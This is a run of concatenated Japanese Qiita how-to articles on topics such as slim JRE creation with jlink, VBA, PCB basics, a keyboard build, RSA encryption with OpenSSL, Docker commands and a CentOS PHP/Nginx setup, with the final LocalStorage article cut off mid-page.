OmniAICreator/Qiita-1.07M huggingface dataset:
配布用の軽量 JRE の作り方

# 概要

Java 9 以降では Project Jigsaw によるモジュール化によって配布用の軽量 JRE が簡単に作れるようになりました。
軽量 JRE はアプリケーションで使用する必要最低限の機能のみを含むため、ファイルサイズを非常に小さく抑えることができます。
そのため、アプリケーションに JRE をバンドルする際などには必須の対応といえます。

本記事では軽量 JRE の作り方について説明します。

# 手順

## 1. OpenJDK の入手

まずは [OpenJDK](https://jdk.java.net/) を入手します。

今回は、2019/02/08 時点で最新の安定板である [OpenJDK 11](https://download.java.net/openjdk/jdk11/ri/openjdk-11+28_windows-x64_bin.zip) を使用します。

ZIP ファイルを展開すると以下のフォルダ構成となります。

```
jdk-11
 ├─ bin
 ├─ conf
 ├─ include
 ├─ jmods
 ├─ legal
 ├─ lib
 └─ release
```

軽量 JRE の生成には `bin` フォルダと `jmods` フォルダを使用します。

## 2. 依存関係のチェック

`jdk-11/bin` フォルダに含まれている `jdeps` コマンドでアプリケーション(jarファイル)で使用されているパッケージの依存関係を確認します。(*.jar のようにワイルドカードでの指定も可能です)

```
cd jdk-11\bin
jdeps.exe --list-deps --ignore-missing-deps C:\example\app.jar
```

コマンドを実行すると、そのアプリケーションで使用されているパッケージの一覧が表示されます。
上記の `app.jar` の例では以下のパッケージに依存していることが分かります。

```
   java.base
   java.desktop
   java.logging
   java.sql
   java.xml
```

つまり、アプリケーションを動かすために最低限これらのパッケージが JRE に含まれていれば Java 実行環境として成立するということです。

## 3. 特定のパッケージのみを含む JRE の生成

`jdeps` コマンドによりアプリケーションで使用しているパッケージの一覧が確認できたので、これらのパッケージのみを含む JRE を生成します。

JRE の生成は `jlink` コマンドに必要なパッケージを渡すだけです。
複数のパッケージを渡す場合はカンマで区切ります。

```
jlink.exe --compress=2 --module-path ..\jmods --add-modules java.base,java.desktop,java.logging,java.sql,java.xml --output jre
```

コマンドを実行すると、カレントフォルダ内に `jre` フォルダが生成されます。
生成されたこのフォルダは軽量 JRE となっています。

あとは、この軽量 JRE をアプリケーションの Java 実行環境として使用するだけです。
アプリケーション側の改修などにより新たなパッケージに依存しない限りは問題なく使用できます。

# ファイルサイズの比較

OpenJDK 11 の `オリジナル版` と特定のパッケージ [^1] のみを含む `軽量版` の JRE のファイルサイズを比較したところ以下の結果となりました。

[^1]: java.base、java.desktop、java.logging、java.sql、java.xml

|オリジナル版|軽量版|
|:---|:---|
|299M|46M|

軽量版の JRE にはアプリケーションで使用する必要最低限のパッケージのみを含んでいるため、ファイルサイズが小さく抑えられています。

ファイルサイズに大きな差がありますので、アプリケーションに JRE をバンドルする際は、軽量 JRE を生成してからバンドルすることをおすすめします。
EXCEL VBA カレントフォルダ内ファイル名一覧



## シートに書き出す

```vb
Sub カレントフォルダ内ファイル名一覧()
    Dim cnt As Long
    Dim path As String
    Dim buf As String

    cnt = 0
    path = ThisWorkbook.path
    buf = Dir(path & "\*")  '"*xlsx"拡張子指定もできる

    Do While buf <> ""
        cnt = cnt + 1
        Cells(cnt, 1) = cnt
        Cells(cnt, 2) = buf
        buf = Dir()
    Loop
End Sub
```

## イミディエイトウインドウに書き出す

```vb
Sub カレントフォルダ内ファイル名一覧dp()
    Dim path As String
    Dim buf As String

    path = ThisWorkbook.path
    buf = Dir(path & "\*")  '"*xlsx"拡張子指定もできる

    Do While buf <> ""
        Debug.Print buf
        buf = Dir()
    Loop
End Sub
```
はじめの基板作成〜基板ってなに？〜

基板って何だろう？自分でもつくれるのかな？だん先生に色々聞いてみよう！
※この情報は電子工作を1度でもやった事がある方なら十分理解できる内容です。

## 登場人物
| だん先生 | のの |
|:-----------|------------:|
| <img src="https://qiita-image-store.s3.amazonaws.com/0/46262/8b61d997-dd82-df5d-ac63-b29e67cc1356.png" width="100px"> | <img src="https://qiita-image-store.s3.amazonaws.com/0/46262/b294962e-9ea3-07b8-4849-659b584b8950.png" width="100px"> |
| 電子工作や基板について、とてもよく知っている。ディズニー好き。実在するとかしないとか。 | 電子工作初心者。手芸が得意。手芸と電子工作を合わせた作品を作りたいとおもっている。 |

# 第一話 「基板ってなに？」
<img src="https://qiita-image-store.s3.amazonaws.com/0/46262/b294962e-9ea3-07b8-4849-659b584b8950.png" width="100px">
だん先生！基板作りたいです！！
<img src="https://qiita-image-store.s3.amazonaws.com/0/46262/8b61d997-dd82-df5d-ac63-b29e67cc1356.png" width="100px">
どっどうしたの！？突然！
<img src="https://qiita-image-store.s3.amazonaws.com/0/46262/b294962e-9ea3-07b8-4849-659b584b8950.png" width="100px">
この↓同人ハードウエアフェスに出店したいんです！！
http://mag.switch-science.com/2018/11/23/dhwfes/
でも、ブレットボードで配線するのと基板を作るのはハードルが全然ちがくて....
<img src="https://qiita-image-store.s3.amazonaws.com/0/46262/8b61d997-dd82-df5d-ac63-b29e67cc1356.png" width="100px">
そんな事ないよ。ブレットボードで配線ができるなら基板もすぐできるよ。
ところで、基板って見た事ある？？
<img src="https://qiita-image-store.s3.amazonaws.com/0/46262/b294962e-9ea3-07b8-4849-659b584b8950.png" width="100px">
えっ....Arduinoとか....
<img src="https://qiita-image-store.s3.amazonaws.com/0/46262/8b61d997-dd82-df5d-ac63-b29e67cc1356.png" width="100px">
確かにArduinoも基板だけど、もっとシンプルな.....このライトとか
<img src="https://qiita-image-store.s3.amazonaws.com/0/46262/7237a69e-ff90-140e-f822-412b57f5399b.png" width="450px">
<img src="https://qiita-image-store.s3.amazonaws.com/0/46262/b294962e-9ea3-07b8-4849-659b584b8950.png" width="100px">
LEDと抵抗、、、あと電源。すごいシンプルですね。これなら作れるかな....でも抵抗見た事ない形ですね。
電子工作でみてるのは....こんなのですよね。
<img src="https://qiita-image-store.s3.amazonaws.com/0/46262/23681aa3-df77-e9c1-2c8a-b2fbd5f92fbd.png" width="450px">
<img src="https://qiita-image-store.s3.amazonaws.com/0/46262/8b61d997-dd82-df5d-ac63-b29e67cc1356.png" width="100px">
確かにブレットボードで配線をする時は上記のような抵抗だけど、基板についているのは「チップ抵抗」と呼ばれるものが多いね。
<img src="https://qiita-image-store.s3.amazonaws.com/0/46262/b294962e-9ea3-07b8-4849-659b584b8950.png" width="100px">
なんか半田付けが難しそうですね....できるかな
<img src="https://qiita-image-store.s3.amazonaws.com/0/46262/8b61d997-dd82-df5d-ac63-b29e67cc1356.png" width="100px">
手半田でもできるし、リフローするやり方もあるから大丈夫よ。
<img src="https://qiita-image-store.s3.amazonaws.com/0/46262/b294962e-9ea3-07b8-4849-659b584b8950.png" width="100px">
えっリッリフローですか？？？ナンだろうそれ。
<img src="https://qiita-image-store.s3.amazonaws.com/0/46262/8b61d997-dd82-df5d-ac63-b29e67cc1356.png" width="100px">
確かに基板は基板独自のお作法みたいなのがあるかな。
でも、大丈夫！私が順を追って説明してあげるから！
<img src="https://qiita-image-store.s3.amazonaws.com/0/46262/b294962e-9ea3-07b8-4849-659b584b8950.png" width="100px">
ほっ本当ですか！？わーい！やった。
ちなみに、先ほどのライトの基板くらいならどの位で設計図にできるのでしょうか？
<img src="https://qiita-image-store.s3.amazonaws.com/0/46262/8b61d997-dd82-df5d-ac63-b29e67cc1356.png" width="100px">
うーん私なら10分とかその位かな？
<img src="https://qiita-image-store.s3.amazonaws.com/0/46262/b294962e-9ea3-07b8-4849-659b584b8950.png" width="100px">
えっえーーーー！本当ですか？頑張ります！！

次回、「はじめの基板作成 第二回 基板にしたいものを考えよう」をお楽しみに！
ビルドログ（namecard2x4）

今年から活動を始めたハードウェアハック部で作成．
以前にレツプリを作ったことがあったのですんなり作れると思ってました…

# 作ったもの
[namecard2x4 チョコミント色](https://skyhigh-works.booth.pm/items/1042076)
必要なものは全部揃ってるキット．
キースイッチもGateronのやつがいろいろはいってる．
黒，赤，白，茶，黄，緑，青，静赤がついてました．

# 作業開始
#### 1. ダイオードを付ける
**ﾀﾞｲｵｰﾄﾞｽｺﾞｸﾁｲｻｲ**
前回は普通のダイオードだったので表面実装用のやつの小ささに驚く．
会議室がシャレオツ照明だったのでまったく前後がわからない．
急遽後ろから照明を当ててもらう．
![0001.jpeg](https://qiita-image-store.s3.amazonaws.com/0/356727/cbdbc37b-692b-10f8-021f-8e05f94c24d8.jpeg)

#### 2. ソケットを付ける
すぐ浮きそうになるので押さえながらハンダする．
![0002.jpeg](https://qiita-image-store.s3.amazonaws.com/0/356727/3fddb528-d4ba-8271-6c51-e2fc8d5661bf.jpeg)

#### 3. リセットスイッチを付ける
ちゃんと付ける場所があって便利．
promicroにぶら下げたりしなくていい．
![0003.jpeg](https://qiita-image-store.s3.amazonaws.com/0/356727/df3ae7c1-8603-b1f8-4dcc-c3be261f6d0b.jpeg)

#### 4. ピンヘッダを付ける
傾かないように気をつけてハンダする．

#### 5. デカマイクロを付ける
あらかじめモゲ対策を施しておいたデカマイクロを付ける．
![0004.jpeg](https://qiita-image-store.s3.amazonaws.com/0/356727/960ee2b1-86ad-58ba-7735-3b0be490b9f4.jpeg)

#### 6. ファームウェアを書き込む
何故か[brainfuck用のキーマップ](https://github.com/qmk/qmk_firmware/tree/master/keyboards/namecard2x4/keymaps/brainfuck)があったのでこれを書き込む．
![0005.jpeg](https://qiita-image-store.s3.amazonaws.com/0/356727/b41027ea-813c-36bc-1deb-ba7c0463755b.jpeg)

#### 7. 動作確認
キースイッチを付けて入力できるか確かめる．
が…

#### 8. 悲劇
キーが一つ反応しない…
よりによってデカマイクロの下にあるソケットが少し浮いてる…

#### 9. ハンダ吸い取り地獄
ハンダ吸い取り機を使って，1時間ほど格闘してデカマイクロを取り外しました．
無事にハンダの甘かったソケットを付けなおしてこの日の作業は終了．
![0006.jpeg](https://qiita-image-store.s3.amazonaws.com/0/356727/fe3344e8-2752-1460-008c-5e888c293cf4.jpeg)

（2019/02/28 追記）

#### 10. デカマイクロ付け直し
外したデカマイクロをもう一回つけ直す．
![IMG_20190226_192637622.jpg](https://qiita-image-store.s3.amazonaws.com/0/356727/f730951b-f6b3-a5ff-a36e-bf847ff626b1.jpeg)

#### 11. 動確
ソケットにキースイッチを差し込んで押してみる．
前回反応しなかった部分が反応した！
けど今度は別の箇所が反応しない…なんでや…
![IMG_20190226_192626569.jpg](https://qiita-image-store.s3.amazonaws.com/0/356727/28eb88bc-3da9-265f-42c7-ea0c61d2bde6.jpeg)

#### 12. ソケットをベッタリ付ける
どうもスイッチを抜き差ししてる間にハンダの甘いソケットが外れてしまったらしいので
ハンダをこんもり盛ってやる．
コの字の下部分だけでくっついてたソケットの内側までハンダをしっかり流し込んだ．

#### 13. 再度動確
反応の悪いソケットを付け直しつつ動くかを確認する．
何回つけ直してもうまく反応しないソケットがあったりしたが，最終的に動いたので良し．

#### 14. 完成
プレートとかをつけて完成！！！
![IMG_20190226_202306169.jpg](https://qiita-image-store.s3.amazonaws.com/0/356727/f6449c68-d844-89e9-7517-cb68491bb5e6.jpeg)

# 感想
テスターは使ったほうが良い．
表面実装は大変．
ソケットじゃなくていいな…
MySQLコネクション数確認シェル

初投稿します。個人的備忘録に。
時間と、MySQLのコネクション数がファイルに出力される簡単なものです。

connection_count.sh

~~~bash
#!/bin/bash

: >./connection_mysql_count.log #毎回ログファイルを0バイトに

function exe(){

while true
 do
  {
   CONNECT_COUNT=`mysql -h[host_name] -u root -p[password] -e "SHOW PROCESSLIST;" | wc -l`
   echo "connection count:" | awk -v count="$CONNECT_COUNT" '{print strftime("%Y-%m-%d %H:%M:%S"), $0, count}'
   }>> ./connection_mysql_count.log #結果ファイル
   sleep 2 #2秒待つ
 done
}

exe 2>/dev/null #標準エラー出力しない
~~~

やめたいときは、「ctrl」 + 「C」でやめて下さい。
同一フォルダに、結果ファイルが出力されます。
RSA 鍵ペアを使って任意の文字列を暗号化・復号する

# はじめに

ある文字列を気軽に暗号化・復号したい場合に、端末の `~/.ssh` 配下にある RSA 鍵ペアを使えばいいのではと思いついたので、調べてみました。

# 方法

## 準備

まず公開鍵 `~/.ssh/id_rsa.pub` と秘密鍵 `~/.ssh/id_rsa` のペアを作成します。

```bash
$ ssh-keygen -t rsa -b 4096
```

ただし出力された公開鍵は ssh.com (SECSH) 形式で OpenSSL では扱えないので、`~/.ssh/id_rsa.pub.pem` として PEM 形式に変換します。

```bash
$ ssh-keygen -f ~/.ssh/id_rsa.pub -e -m PKCS8 > ~/.ssh/id_rsa.pub.pem
```

## 暗号化

`佐倉杏子` という文字列を公開鍵で暗号化して、出力されたバイナリを 16 進数文字列に変換します。

```bash
$ echo '佐倉杏子' | openssl rsautl -encrypt -pubin -inkey ~/.ssh/id_rsa.pub.pem | xxd -p | tr -d '\n'
19901805998070d3ae93f59ad3caa0ae63dac078736779a3dbfad76c152a02e9729c2c3f43fd45db5b98c8141345b63d601afe16808705f1b6a911282cd99bc7a2a44a2c5437f6bb45b220230a4d156a7ccc29ce2cbcc457f83f741b0b06aca66c77da8e6a634bb57723076ae9c17c1cf2d80cdbf29aa3846e2d446bed9ac0879b4c60973b6414d91c6309c570857459d5f474ad3edeb3d8b358e43d7484061558b20ea341a864e67559970c1925677a740ed454fd20d654230698cbdeb9cde1647100078ec3903d53bc41001983a5a246e1095860b2c6c082e417c4e8dadef98b67e97fd1e2503f6d42cae1ca7e582aa1b3f864395281ca01f4b53070c2395da984b71044bb1b664cddf288fb41584eec7011b9f8b5f5097c2ad84d65251fe856306743b7c6fdb7d9cc7f1cc1fe1e4a060a3551550c6a853b05199fd9a40dbbee63ad9bd1e3d6808c99ab50ae344c17c0e2188227f8da25c033161dd5d3394b3157fd75aa71c82475f62c023254b9b58b230928abef8bee4ff227cd5697113cc0c805599b949f79811120e1bad2e51756817eb532727bcd5aa844fe2780dfbc53ecd0875138ed9ae65c3fa91455a5c3b3d252d06bb5f9dc5459f68c1f66d1f136a3e6608ab744e1dbddde73b5fa00ca1c52906544f5e01c2e7e57b262c7b2309bbef0cae3095687b62565f44e8698822e5b309e18284b66081e036224838eaf
```

## 復号

16 進数文字列をバイナリに変換し、それを秘密鍵で復号します。

```bash
$ ENCRYPTED=19901805998070d3ae93f59ad3caa0ae63dac078736779a3dbfad76c152a02e9729c2c3f4b98c8141345b63d601afe16808705f1b6a911282cd99bc7a2a44a2c5437f6bb45b220230a4d156a7ccc29ce2cbcc457f83f741b0b06aca66c77da8e6a634bb57723076ae9c17c1cf2d80cdbf29aa3846e2d446bed9ac0879b4c60973b6414d91c6309c570857459d5f474ad3edeb3d8b358e43d7484061558b20ea341a864e67559970c1925677a740ed454fd20d654230698cbdeb9cde1647100078ec3903d53bc41001983a5a246e1095860b2c6c082e417c4e8dadef98b67e97fd1e2503f6d42cae1ca7e582aa1b3f864395281ca01f4b53070c2395da984b71044bb1b664cddf288fb41584eec7011b9f8b5f5097c2ad84d65251fe856306743b7c6fdb7d9cc7f1cc1fe1e4a060a3551550c6a853b05199fd9a40dbbee63ad9bd1e3d6808c99ab50ae344c17c0e2188227f8da25c033161dd5d3394b3157fd75aa71c82475f62c023254b9b58b230928abef8bee4ff227cd5697113cc0c805599b949f79811120e1bad2e51756817eb532727bcd5aa844fe2780dfbc53ecd0875138ed9ae65c3fa91455a5c3b3d252d06bb5f9dc5459f68c1f66d1f136a3e6608ab744e1dbddde73b5fa00ca1c52906544f5e01c2e7e57b262c7b2309bbef0cae3095687b62565f44e8698822e5b309e18284b66081e036224838eaf
$ echo -n $ENCRYPTED | xxd -r -p | openssl rsautl -decrypt -inkey ~/.ssh/id_rsa
佐倉杏子
```

# 参考

* [How to use ssh-rsa public key to encrypt a text?](https://superuser.com/questions/576506/how-to-use-ssh-rsa-public-key-to-encrypt-a-text)
  * ssh.com (SECSH) 形式の公開鍵を OpenSSL で扱えるようにする方法を調べました。
* [【 xxd 】コマンド――ファイルを16進数でダンプする、ダンプから復元する](http://www.atmarkit.co.jp/ait/articles/1811/01/news036.html)
  * バイナリを 16 進数文字列に変換するコマンドを調べて、この記事で `xxd` コマンドを知りました。
[JavaScript]配列の分割代入

## 概要

- JavaScriptでは配列やオブジェクトの分割代入という機能がある
    - オブジェクトの分割代入については[以前に記事を書いた](https://qiita.com/ozaki25/items/b47b865df66c3aeecaef)ので興味があればそちらもご参照ください

## 使い方

- 配列の要素を一行で個別の変数に代入することができる
    - このように簡単に代入できるので`ary[0]`のように書くよりも可読性が上がる

```js
const ary = ['ozaki', 'ozaki25', 28];
const [name, nickname, age] = ary;
console.log(name); // 'ozaki'
console.log(nickname); // 'ozaki25'
console.log(age); // 28
```

- 配列の中の最初のいくつかだけほしいような場合は以下のように書ける
    - `...xxx`と書くと残りの部分が配列として代入される

```js
const ary = ['ozaki', 'ozaki25', 28];
const [name, ...rest] = ary;
console.log(name); // 'ozaki'
console.log(rest); // ['ozaki25', 28]
```

- ほしい要素が配列のはじめに並んでいないケースは以下のようにして取得することができる
    - 不要な要素数目は何も記述しないとスキップしてくれる

```js
const ary = ['ozaki', 'ozaki25', 28];
const [name, , age] = ary;
console.log(name); // 'ozaki'
console.log(age); // 28
```

### まとめ

- JavaScriptの新しい書き方を使いこなすと少ないコードで読みやすいコードが書けるようになります！
Docker コマンドについての覚書

Dockerを使用しているが `docker-compose`を使っていて純粋な`docker`コマンドを忘れてたの覚書として残します。

```
>$docker version
Client: Docker Engine - Community
 Version:           18.09.1
 API version:       1.39
 Go version:        go1.10.6
 Git commit:        4c52b90
 Built:             Wed Jan  9 19:33:12 2019
 OS/Arch:           darwin/amd64
 Experimental:      false

Server: Docker Engine - Community
 Engine:
  Version:          18.09.1
  API version:      1.39 (minimum version 1.12)
  Go version:       go1.10.6
  Git commit:       4c52b90
  Built:            Wed Jan  9 19:41:49 2019
  OS/Arch:          linux/amd64
  Experimental:     false
```

# ビルド
- Dockerfileを指定する時は`-f`、イメージ名は`-t`(イメージ名：タグ）

```
$docker build -f XXX/Dockerfile -t イメージ名 .
```

- キャッシュを使用しない`--no-cache=true`, イメージも再取得`--pull=true`

```
$docker build -f XXX/Dockerfile --no-cache=true　-t イメージ名 .
// デフォルトはfalse
$docker build -f XXX/Dockerfile --pull=true　-t イメージ名 .
// デフォルトはfalse
```


- ビルド失敗時に中間コンテナ削除`--force-rm=true`、　ビルド成功後中間コンテナを削除`--rm=true`

```
$docker build -f XXX/Dockerfile --force-rm=true　-t イメージ名 .
// デフォルトはfalse
$docker build -f XXX/Dockerfile --rm=true　-t イメージ名 .
// デフォルトはture
```

# コンテナ起動（RUN）
- dockerを作ってログイン`-it`、バックグランドで実行`-d`

```
$docker run -it IMAGE bash
$docker run -d IMAGE bash
```

- ホストと同期（マウント）する、ポート
```
$docker run -it IMAGE -v ホスト側:コンテナ側　bash
$docker run -d IMAGE bash
```

- コンテナ名をつける `--name` 
docker run -it IMAGE bash
UITextViewのテキストの位置がズレる

ライセンス表示画面など長い文章をUITextViewで表示されると、初期表示位置がなぜか真ん中くらいだったり微妙にズレたりすることがある。
iPhone7やiPhoneXで大丈夫でも同じOSバージョンでiPad miniやiPhoneSEでズレる場合がある。

## 解決方法

```swift
    override func viewDidLayoutSubviews() {
        super.viewDidLayoutSubviews()
        
        self.textView.setContentOffset(CGPoint.zero, animated: false)
    }
```

いろいろ試したけどとりあえずこれで解決。
初期開発費用０円でNEM上でトレーサビリティを実現する方法

ブロックチェーンを活用するとトレーサビリティも実現できるとは聞きますが、システムを組むとなると難しそうなイメージがあります。実はNEMWalletの標準機能を使えばすぐに運用できてしまいます。もちろん初期開発費用は０円。今回はその方法を簡単にご紹介します。

必要な機能は以下の2つです。

- プライベートアポスティーユ
- メール（すいません、こちらは各自ご準備ください）

### プライベートアポスティーユとは？
パブリックアポスティーユがNEM全体で共通の公証アカウントを使用するのに対し、プライベートアポスティーユとは公証ファイルごとに公証アカウントを作成します。つまり他人のアポスティーユによって公証アカウントのトランザクションを汚されることがありません。今回はこの性質を利用してトレーサビリティを実現します。

### 全体的な流れ

- 注文者
    - 注文書を作りプライベートアポスティーユする
    - 公証アカウントが作成される
    - ntyファイルが作成される
    - 生産業者にntyファイルを送付する
- 生産業者
    - 生産者は自分のNEMWalletに受け取ったntyファイルをインポートする
    - 注文書の公証リスト（現在は注文指示の1件のみ）を確認する
    - 注文内容の素材を生産し、作業証明として公証をアップデートする
    - 加工業者に素材とntyファイルを送付する
- 加工業者
    - 加工業者は自分のNEMWalletに受け取ったntyファイルをインポートする
    - 注文書の公証リスト（注文指示と生産証明の2件）を確認する
    - 注文内容の素材を加工し、作業証明として公証をアップデートする
    - 配送業者に商品とntyファイルを送付する
- 配送業者
    - 配送業者は自分のNEMWalletに受け取ったntyファイルをインポートする
    - 注文書の公証リスト（注文指示と生産証明と加工証明の3件）を確認する
    - 注文内容の製品を適温で配送し、作業証明として公証をアップデートする
    - 注文者に商品とntyファイルを配達する
- 注文者
    - 注文者は自分のNEMWalletに受け取ったntyファイルをインポートする
    - 注文書の公証リスト（注文指示と生産証明と加工証明と配送証明の3件）を確認する
    - 署名者のアカウントが自分の意図した業者が保有しているものか確認する。
    - 安心して商品をいただく

ざっとこんな感じです。
一般的なブロックチェーンではメッセージをチェーンに刻むまではよいものの（場合によってはトークンしか刻めないものもありますね）、それらの作業を一貫して管理しようとすると途端に結構作業が煩雑になったりします。

NEMの場合は柔軟に設計されているため、個人レベルでトレーサビリティーを活用することも簡単です。
この機会にぜひ、いろいろ試してみてください。

### 以下、参考画像を添付しておきます。

#### メニュー画面
アポスティーユはメニュー画面のこちらにあります。
注文者は作成をクリックして、注文書からトレーサビリティーのための公証アカウントを作成します。
生産業者、加工業者、配送業者は「履歴」から公証アカウントをアップデートしていきます。
![image.png](https://qiita-image-store.s3.amazonaws.com/0/29187/07c93145-01d6-147b-172d-3e1578d7444c.png)


#### 公証の作成
注文者はこちらから公証アカウントを作成します。
公証ファイルが重複しないように識別番号などを付記しましょう。
![image.png](https://qiita-image-store.s3.amazonaws.com/0/29187/8b7e0a1b-dbe0-0f0e-e96b-3a0f2951126c.png)

アポスティーユが成功するとzipファイルが作成されます。
zipファイルの中身は以下の3つのファイルが入っていますので、ntyファイルを次の業者にメールします。
注文書のフォーマットがある場合はそちらも同時に送ってもよいですが、基本的にアップデートの内容は何でも大丈夫です。
（署名時に成果物の存在を保証できるものがあれば、それをデジタルでアップロードするとよいかもしれません）
![image.png](https://qiita-image-store.s3.amazonaws.com/0/29187/c78ac374-ba36-7475-fc91-7bee2d96f8eb.png)

#### 公証のインポート
メールを受け取った業者は、ntyファイルをNEMWalletにインポートします。最初は空っぽです。
![image.png](https://qiita-image-store.s3.amazonaws.com/0/29187/4b921d20-1ee6-6241-373a-c3581addda16.png)

#### 公証のアップデート
インポートに成功すると、直前の作業証明の一覧が出てくるので、公証アカウントのアドレスをクリックして今までの作業の流れを確認します。
自分の作業が完了したら、アクション項目のアップデートをクリックして自分の作業証明をアポスティーユします。
![image.png](https://qiita-image-store.s3.amazonaws.com/0/29187/651d3c9b-47ef-29f1-377d-5026ce23c92e.png)


これで、注文者は自分が信頼した業者が作業して商品が届いたことを知ることがでました。
いやいや、他のチェーンでも似たようなことはできますよ、頑張ればね（汗　と思われた人もいるかもしれません。
NEMではさらに発展させて、これらの作業をすべてマルチシグで行うことができます。

これもNEMがマルチシグをコア機能の1つとして設計の中心に置いているためです。
実社会において秘密鍵を共有することはセキュリティ的に問題が出てくるため、全ての作業は企業アカウントを操作できる署名アカウントに作業することになるでしょう。
Unsupported top level event type "onGestureHandlerStateChange" dispatched

## 現象
![image.png](https://qiita-image-store.s3.amazonaws.com/0/103475/9dac9d05-b46e-3af3-758b-101a79500b6a.png)

## version
- react-native-gesture-handler: 1.0.12	

## 解決方法
`1.0.9`にダウングレードすれば解消する。

https://github.com/kmagiera/react-native-gesture-handler/issues/320#issuecomment-459799972

## 注意点
`pod install`するとき、`1.0.12`と`1.0.9`では`.podspec`の位置が異なるので`Podfile`の修正が必要になる。

```diff
# 1.0.12
- - RNGestureHandler (from `../node_modules/react-native-gesture-handler`)
# 1.0.9
+ - RNGestureHandler (from `../node_modules/react-native-gesture-handler/ios/RNGestureHandler.podspec`)
```
【CentOS】PHP、PHP-FPM、NginX のインストール

#PHP(7.2) のインストール

##EPEL リポジトリの追加

```
# rpm -Uvh https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm
```

##Remi リポジトリの追加

```
# rpm -Uvh http://rpms.famillecollet.com/enterprise/remi-release-7.rpm
```

##リポジトリの確認

```
# ls -l /etc/yum.repos.d/

-rw-r--r--. 1 root root 1664 11月 23 22:16 CentOS-Base.repo
-rw-r--r--. 1 root root 1309 11月 23 22:16 CentOS-CR.repo
-rw-r--r--. 1 root root  649 11月 23 22:16 CentOS-Debuginfo.repo
-rw-r--r--. 1 root root  630 11月 23 22:16 CentOS-Media.repo
-rw-r--r--. 1 root root 1331 11月 23 22:16 CentOS-Sources.repo
-rw-r--r--. 1 root root 5701 11月 23 22:16 CentOS-Vault.repo
-rw-r--r--. 1 root root  314 11月 23 22:16 CentOS-fasttrack.repo
-rw-r--r--. 1 root root 1050 10月  3  2017 epel-testing.repo
-rw-r--r--. 1 root root  951 10月  3  2017 epel.repo
-rw-r--r--. 1 root root  446 12月 22 02:50 remi-glpi91.repo
-rw-r--r--. 1 root root  446 12月 22 02:50 remi-glpi92.repo
-rw-r--r--. 1 root root  446 12月 22 02:50 remi-glpi93.repo
-rw-r--r--. 1 root root  446 12月 22 02:50 remi-glpi94.repo
-rw-r--r--. 1 root root  456 12月 22 02:50 remi-php54.repo
-rw-r--r--. 1 root root 1314 12月 22 02:50 remi-php70.repo
-rw-r--r--. 1 root root 1314 12月 22 02:50 remi-php71.repo
-rw-r--r--. 1 root root 1314 12月 22 02:50 remi-php72.repo
-rw-r--r--. 1 root root 1314 12月 22 02:50 remi-php73.repo
-rw-r--r--. 1 root root  750 12月 22 02:50 remi-safe.repo
-rw-r--r--. 1 root root 2605 12月 22 02:50 remi.repo
```

##リポジトリを指定してインストール

```
# yum -y install --enablerepo=remi-php72 php
```

必要なパッケージがあれば `php` に続けて記入する。

##インストールしたPHP、PHPパッケージを確認

```
# rpm -qa | grep php

php-pecl-mcrypt-1.0.2-1.el7.remi.7.2.x86_64
php-7.2.14-1.el7.remi.x86_64
php-json-7.2.14-1.el7.remi.x86_64
php-cli-7.2.14-1.el7.remi.x86_64
php-devel-7.2.14-1.el7.remi.x86_64
php-xml-7.2.14-1.el7.remi.x86_64
php-pdo-7.2.14-1.el7.remi.x86_64
php-fpm-7.2.14-1.el7.remi.x86_64
php-common-7.2.14-1.el7.remi.x86_64
php-gd-7.2.14-1.el7.remi.x86_64
php-mbstring-7.2.14-1.el7.remi.x86_64
```

#PHP-FPM のインストール

##PHP と同じリポジトリを指定してインストール

`--enablerepo=remi-php72.repo` でインストールした PHP と同じバージョンのリポジトリを指定しないとエラーが発生する場合があります。

```
PHP-FPM のインストール
# yum -y install --enablerepo=remi-php72 php-fpm

PHP-FPM の起動
# systemctl start php-fpm

PHP-FPM の自動起動化
# systemctl enable php-fpm
```

#Nginx のインストール

##リポジトリの追加

Nginx のリポジトリには stable と mainline ２つが存在します。
[公式][link_1]は mainline を推奨していますので mainline リポジトリを追加します。

```
# vi /etc/yum.repos.d/nginx.repo
```

##リポジトリの内容を確認

```/etc/yum.repos.d/nginx.repo
[nginx]
name=nginx mainline repo
baseurl=http://nginx.org/packages/mainline/centos/$releasever/$basearch/
gpgcheck=1
enabled=0
gpgkey=https://nginx.org/keys/nginx_signing.key
```

##リポジトリを指定してインストール

```
Nginx をインストール
# yum -y install nginx --enablerepo=nginx

Nginx の起動
# systemctl start nginx

Nginx の自動起動化
# systemctl enable nginx
```

[link_1]:http://nginx.org/en/linux_packages.html
情報保存はLocalStorageが便利でした

## 登録した情報はクッキー?、セッション?で保持しか知らなかった

登録した情報をサイト内で使いたい、phpを触っていたら、クッキーやセッションが思い浮かぶかもしれませんが、**Local Storage**が大変便利でした。
# Local Storage
別名で「Web Storage」とも呼ばれるみたいです。特徴を以下に上げてみたいと思います。

- クッキーに比べて保存できる容量が大きい(ブラウザにもよるが5MB)
- データをユーザーのローカル環境に保存する
- 永続的に有効
- ドメイン&ブラウザごとに格納
- モバイルでも使える

###　Can I Use
主要ブラウザには対応しているみたいで安心です。
![Screenshot(1).png](https://qiita-image-store.s3.amazonaws.com/0/142782/26d7bee3-f393-a20e-a01a-7089e013e752.png)

### この記事では3つのタグだけ覚えよう
使い方はとってもシンプルです。
以下の3つだけわかればOK。

#### ★保存方法★
access_yn（任意のキー名）に値をセットします。

```javascript
let yourname = "木下"
localStorage.setItem('access_yn', yourname)
```

#### ★取り出し方法★
```javascript
let hoge = localStorage.getItem('access_yn')
console.log(hoge) //木下
```

#### ★削除方法★
```javascript
localStorage.removeItem('access_yn');
console.log(hoge)　//無し
```

## 簡単な実装
vue.jsと組み合わせて簡単な実装をしてみました。
1.  名前を入力します、入力を終えたら勝手にLocal Strageに保存する。
2.  他のページにいっても先に保存した名前が取り出せるのか確認
3.  削除ボタンで名前情報の削除

##### 入力ページ
```html
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8"/>
  <meta http-equiv="X-UA-Compatible" content="IE=edge"/>
<script src="https://cdn.jsdelivr.net/npm/vue@2.5.16/dist/vue.js"></script>
</head>
<body>
	<div id="your_name">
		<input v-model="your_name" placeholder="名前を入力して下さい">
		<h2>入力した名前:<span v-text="your_name"></span></h2>
		<div v-if="your_name"><a href="quiz.html">名前入力が完了したらここを押してください</a></div>
	</div>

<script>
	let vm = new Vue({
		el: '#your_name',
		data: function() {
			return {
				your_name: "",
			}
		},
		watch: {
			your_name: function () {
				// データの保存
				localStorage.setItem('access_yn', this.your_name);
			},
		},
	})
</script>
</body>
</html>
```

##### 取り出し・削除ページ
```html
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8"/>
